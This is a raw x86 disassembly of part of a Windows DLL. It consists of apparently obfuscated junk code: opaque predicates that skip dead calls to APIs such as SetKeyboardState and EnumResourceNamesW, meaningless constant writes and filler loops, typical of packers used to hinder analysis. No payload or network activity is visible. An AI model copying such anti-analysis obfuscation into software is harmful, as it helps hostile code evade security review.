mov dword [ebp - 0x64], 0xfffffff8
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x4c], 0xa9f4f9a
mov dword [ebp - 0x34], 0x76cc72b7
mov dword [ebp - 0x5c], 0x791f
mov dword [ebp - 0x34], eax
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002d30d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x85c], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002d2f9
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002d323
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x814], 0xf4d4e20
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002d312
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
push 5
pop edx
cmp eax, edx
setg cl
add ecx, dword [ebp - 0x64]
je 0x1002d33d
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002d35f
mov eax, dword [ebp - 0x85c]
mov ecx, dword [ebp - 0x85c]
xor edx, edx
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setg dl
add eax, edx
imul eax, dword [ebp - 0x3c]
test eax, eax
je 0x1002d37f
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002d398
cmp dword [ebp - 0x5c], eax
je 0x1002d398
xor ecx, ecx
inc ecx
mov eax, ecx
jmp 0x1002d39b
xor ecx, ecx
inc ecx
cmp eax, dword [ebp - 0x814]
jne 0x1002d3ae
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002d3b0
mov eax, ecx
jmp 0x1002d3b0
xor eax, eax
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002d3cf
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
xor eax, eax
mov dword [ebp - 0x34], 0x8cf4c59c
xor ecx, ecx
mov dword [ebp - 0x10], 0x8a1f9496
inc ecx
mov dword [ebp - 0x34], 0xa9ac70c3
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x4c], 0x721f7d96
mov dword [ebp - 0x5c], 8
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1002d41d
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1030], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1002d404
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1002d430
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x10]
je 0x1002d430
xor eax, eax
mov edx, eax
jmp 0x1002d432
mov edx, ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
sub ecx, 0x6f93
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
xor ecx, ecx
imul eax, dword [ebp - 0x64]
cmp edx, eax
setg cl
xor eax, eax
sub ecx, dword [ebp - 0x64]
cmp ecx, 0x5aa05d76
jle 0x1002d46e
cmp dword [ebp - 0x4c], eax
je 0x1002d46e
lea edx, [eax + 1]
jmp 0x1002d470
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x64]
sub edx, eax
mov dword [ebp - 0x1030], edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
sub eax, edx
inc ecx
mov dword [ebp - 0x5c], eax
xor eax, eax
mov dword [ebp - 0x60], 0xfffffffa
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x18], 0xfffffff7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002d4d7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x25c], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002d4be
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002d4ed
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x660], 0x40a9711f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002d4dc
mov eax, dword [ebp - 0x258]
xor ecx, ecx
mov eax, dword [ebp - 0x258]
mov eax, dword [ebp - 0x258]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x258]
sub edx, eax
mov eax, dword [ebp - 0x258]
cmp edx, eax
sete cl
mov dword [ebp - 0x258], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0x25c]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xd4a55f07
setne al
xor ecx, ecx
cmp eax, 0x9cff
setg cl
xor eax, eax
cmp ecx, 3
setl al
xor ecx, ecx
cmp eax, 7
setl cl
sub ecx, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xffffffff
setne al
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xa781
jle 0x1002d57e
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
add eax, 0xdd33
mov dword [ebp - 0x660], eax
xor eax, eax
mov dword [ebp - 0x6cc], esi
mov dword [ebp - 0x6c8], esi
mov dword [ebp - 0x6c4], esi
mov dword [ebp - 0x6c0], esi
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002d5d2
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfe8], 0x8bbca631
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002d5ba
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002d5f2
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3cc], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002d5da
xor eax, eax
xor esi, esi
mov dword [ebp - 0x3c8], eax
inc esi
jmp 0x1002d641
mov dword [ebp - 0x1c], 0x4cdb8faa
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x1002d629
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d624
push eax
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x1002d60c
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d63b
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
xor eax, eax
inc dword [ebp - 0x3c8]
cmp dword [ebp - 0x3c8], esi
jle 0x1002d5fd
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d667
push eax
push 0x16a8
push eax
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
xor eax, eax
mov dword [ebp - 0x34], 0x91f9e6a0
mov dword [ebp - 0x3c], 0xdf1febae
push 2
mov dword [ebp - 0x28], eax
pop ecx
cmp dword [ebp - 0x28], ecx
jge 0x1002d698
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x210], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002d680
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1002d738
mov dword [ebp - 0x10], 0xcce1e2c0
mov dword [ebp - 0x34], 0x388a0193
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], eax
jl 0x1002d735
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x210]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x210]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x210]
mov dword [ebp - 0x34], 0x9d2e
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x10]
jne 0x1002d71a
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002d707
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d72e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
jmp 0x1002d72e
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x210]
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x210], ecx
dec dword [ebp - 0x10]
jns 0x1002d6b6
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jle 0x1002d6a0
mov dword [ebp - 0x2c], 0x831713b9
push 5
pop edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x30], 0x30fc3532
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffffa
jge 0x1002d88d
mov dword [ebp - 0x38], 0x7e9f21c9
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x1002d789
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xd4], 0x9d4346
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1002d771
xor eax, eax
cmp dword [ebp - 0xd4], eax
jne 0x1002d798
cmp dword [ebp - 0x2c], eax
jne 0x1002d798
mov esi, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp eax, 0x69be5411
setne cl
cmp ecx, 0xed562b99
sbb edx, edx
neg edx
sub edx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setge cl
inc ecx
cmp ecx, 0xfffffffb
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1002d7ec
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd4], eax
test eax, eax
je 0x1002d8f9
mov dword [ebp - 0x10], 0x19
cmp dword [ebp - 0x10], 0xd
jl 0x1002d86b
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], eax
jg 0x1002d851
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d83d
push 0x1a6c
call dword [sym.imp.USER32.dll_GetSysColor]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0xd4]
inc dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x38], eax
jle 0x1002d829
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d862
call dword [sym.imp.GDI32.dll_GdiFlush]
xor eax, eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xd
jge 0x1002d821
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1002d885
xor esi, esi
inc esi
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffffa
push 0
pop eax
jl 0x1002d762
xor esi, esi
xor eax, eax
push 5
inc esi
pop edx
push 0xfffffffffffffff9
pop ecx
mov dword [ebp - 0xa38], ecx
mov dword [ebp - 0xa34], ecx
mov dword [ebp - 0xa30], ecx
mov dword [ebp - 0xa2c], ecx
mov dword [ebp - 0x38], 0x9ba07e4f
mov dword [ebp - 0x64], 0xfffffff8
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x4c], 0xa9f4f9a
mov dword [ebp - 0x34], 0x76cc72b7
mov dword [ebp - 0x5c], 0x791f
mov dword [ebp - 0x34], eax
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002d8f4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x86c], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002d8e0
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002d962
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffe9
jl 0x1002d872
xor esi, esi
inc esi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x1002d92b
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x230], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1002d913
xor eax, eax
mov dword [ebp - 0x30], 0xd
jmp 0x1002d93d
dec dword [ebp - 0x230]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x15
jne 0x1002d934
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe9
jge 0x1002d90b
jmp 0x1002d875
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x824], 0xf4d4e20
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002d951
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp eax, edx
setg cl
add ecx, dword [ebp - 0x64]
je 0x1002d979
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002d99b
mov eax, dword [ebp - 0x86c]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x86c]
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setg dl
add eax, edx
imul eax, dword [ebp - 0x3c]
test eax, eax
je 0x1002d9bb
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002d9cf
cmp dword [ebp - 0x5c], eax
je 0x1002d9cf
mov eax, esi
cmp eax, dword [ebp - 0x824]
jne 0x1002d9e2
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002d9e4
mov eax, esi
jmp 0x1002d9e4
xor eax, eax
mov dword [ebp - 0x824], eax
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002da03
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffffe
mov dword [ebp - 0x24], 0xd1e1e87d
mov dword [ebp - 0x50], 0x4b28ed4a
mov dword [ebp - 0x64], 0x9e149cff
mov dword [ebp - 0x5c], 0x5653649d
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1002da48
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x158], 0xfffffffd
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002da2f
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jg 0x1002dc7c
mov dword [ebp - 0x18], 0x5cc99cf4
mov dword [ebp - 0x18], 0xe67b33df
mov dword [ebp - 0x18], 0x5d09421a
mov dword [ebp - 0x18], 0xf20cf680
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x158], 0xe5c285ce
ja 0x1002da97
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x158], 0
jne 0x1002da97
xor eax, eax
mov edx, eax
jmp 0x1002da99
mov edx, esi
mov eax, dword [ebp - 0x154]
xor ecx, ecx
cmp edx, eax
mov eax, 0xfffb
sete cl
cmp eax, ecx
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x158]
mov eax, dword [ebp - 0x50]
dec eax
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setl dl
mov ecx, dword [ebp + eax*4 - 0x158]
mov eax, dword [ebp - 0x24]
sub ecx, edx
mov dword [ebp + eax*4 - 0x158], ecx
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x158], 0xb541
jne 0x1002dc5e
mov dword [ebp - 0x4c], 3
or edx, 0xffffffff
mov dword [ebp - 0x34], 0xfffffffe
xor eax, eax
mov dword [ebp - 0x34], 0xf6a91a76
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x18], 0x21a16747
mov dword [ebp - 0x18], 0x767a065b
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002db40
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x104], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002db2c
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002db60
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xcac], 0x506ee4f1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002db48
xor eax, eax
cmp dword [ebp - 0x64], eax
jne 0x1002dbb8
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x158]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x158]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x158]
cmp eax, 0x1d213713
mov eax, dword [ebp - 0x24]
sete cl
sub ecx, dword [ebp + eax*4 - 0x158]
mov dword [ebp - 0x64], ecx
jne 0x1002dbb8
xor eax, eax
jmp 0x1002dbba
mov eax, esi
mov dword [ebp - 0x34], eax
mov ecx, edx
mov eax, dword [ebp - 0x34]
sub ecx, eax
je 0x1002dbd1
xor eax, eax
cmp dword [ebp - 0x64], eax
je 0x1002dbd3
mov ecx, esi
jmp 0x1002dbd5
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, edx
setne al
cmp eax, esi
jg 0x1002dbf0
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x158], ecx
mov eax, ecx
je 0x1002dbf2
mov eax, esi
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 7
mov eax, dword [ebp - 0x50]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
imul edx, dword [ebp + eax*4 - 0x158]
mov eax, dword [ebp - 0x104]
imul edx, eax
mov eax, dword [ebp - 0x104]
imul eax, edx
sub eax, 0x559c
neg eax
sbb eax, eax
neg eax
cmp dword [ebp - 0x150], eax
jle 0x1002dc51
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x158], 0
je 0x1002dc51
mov eax, esi
jmp 0x1002dc53
xor eax, eax
mov dword [ebp - 0x150], eax
inc dword [ebp - 0x58]
jmp 0x1002dc6b
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x158], 0
jne 0x1002dc7a
inc dword [ebp - 0x24]
push 2
pop eax
cmp dword [ebp - 0x24], eax
jle 0x1002da55
xor eax, eax
mov dword [ebp - 0x64], 0x2c213532
mov dword [ebp - 0x3c], 0xedad
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x1002dcad
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x380], 0x45d764ce
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1002dc95
xor eax, eax
cmp dword [ebp - 0x64], eax
je 0x1002dd8f
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002dcc8
push eax
call dword [sym.imp.GDI32.dll_GetObjectType]
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002dced
push eax
push eax
push eax
push 0xcf7
push 0x177
push eax
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
pop ebx
cmp dword [ebp - 0x10], ebx
jge 0x1002dd10
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5fc], 0x648
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002dcf8
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], 0x4bcd76ce
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x4c], 0xfffffffc
push 2
pop eax
mov dword [ebp - 0x9e8], eax
mov dword [ebp - 0x9e4], eax
mov dword [ebp - 0x9e0], eax
mov dword [ebp - 0x9dc], eax
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x30]
neg esi
mov eax, dword [ebp - 0x30]
sbb esi, esi
neg esi
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setl cl
xor eax, eax
cmp ecx, esi
setne al
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setne cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002def1
mov dword [ebp - 0x24], 0xf3ac9d73
mov ecx, 0x842f
mov eax, dword [ebp - 0x24]
sub ecx, eax
jne 0x1002ddab
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1002ddab
mov esi, eax
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x64]
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0xffffffff
setne al
add eax, esi
je 0x1002ddd2
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1002ddd4
xor esi, esi
inc esi
mov ecx, esi
jmp 0x1002ddd9
xor eax, eax
xor esi, esi
mov ecx, eax
inc esi
mov eax, dword [ebp - 0x50]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
sete dl
xor ecx, ecx
cmp edx, eax
setge cl
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x380], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x64]
jne 0x1002de12
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg eax
cmp eax, dword [ebp - 0x24]
je 0x1002de3b
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002dceb
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_EndPage]
jmp 0x1002dceb
mov dword [ebp - 0x24], 0xfffffff5
cmp dword [ebp - 0x24], 0x27
je 0x1002dceb
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x50], eax
jl 0x1002de73
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1002de6c
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x380], 2
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jl 0x1002de5b
jmp 0x1002de90
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002de90
push eax
push eax
push 0x1bca
push 0x670
push eax
call dword [sym.imp.USER32.dll_InsertMenuW]
inc dword [ebp - 0x24]
jmp 0x1002de42
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x3c], eax
jmp 0x1002dee4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x1002dec3
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x9e8], 7
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
jl 0x1002deaa
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002dee1
push eax
push eax
push 0x865
push 0x2376
push eax
call dword [sym.imp.USER32.dll_ModifyMenuW]
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jle 0x1002dea1
cmp dword [ebp - 0x4c], eax
jne 0x1002def6
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x1002de95
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002df16
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xea4], 8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002defe
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_FlashWindow]
mov dword [ebp - 0x18], 1
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002df34
push eax
call edi
push eax
call esi
xor eax, eax
mov ebx, dword [sym.imp.GDI32.dll_SaveDC]
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002df51
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1002dfa1
mov dword [ebp - 0x18], 1
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002df72
push eax
call edi
push eax
call esi
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002df87
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
mov eax, dword [ebp - 0x30]
push 0
mov dword [ebp + eax*4 - 0x5fc], 0xe1d9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
pop eax
jl 0x1002df5a
xor edi, edi
inc edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x34], edi
push 2
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x1002dfcd
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x10b8], 0x5b57
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002dfb5
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002dfed
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x14c], 0xc184c506
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002dfd5
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002e00b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x11b0], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002dff6
xor eax, eax
mov dword [ebp - 0x14c], eax
jmp 0x1002e04c
mov dword [ebp - 0x18], 0xcc25fa5f
mov dword [ebp - 0x18], 0x65925ef2
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0xd7c6ae49
mov dword [ebp - 0x18], 0xd1dc6b79
inc dword [ebp - 0x34]
inc dword [ebp - 0x14c]
cmp dword [ebp - 0x14c], edi
jle 0x1002e013
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x5f4]
mov eax, dword [ebp - 0x5f8]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x5fc]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x6c8]
mov eax, dword [ebp - 0x6c8]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
push 5
pop edx
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x5f4]
jne 0x1002e0a6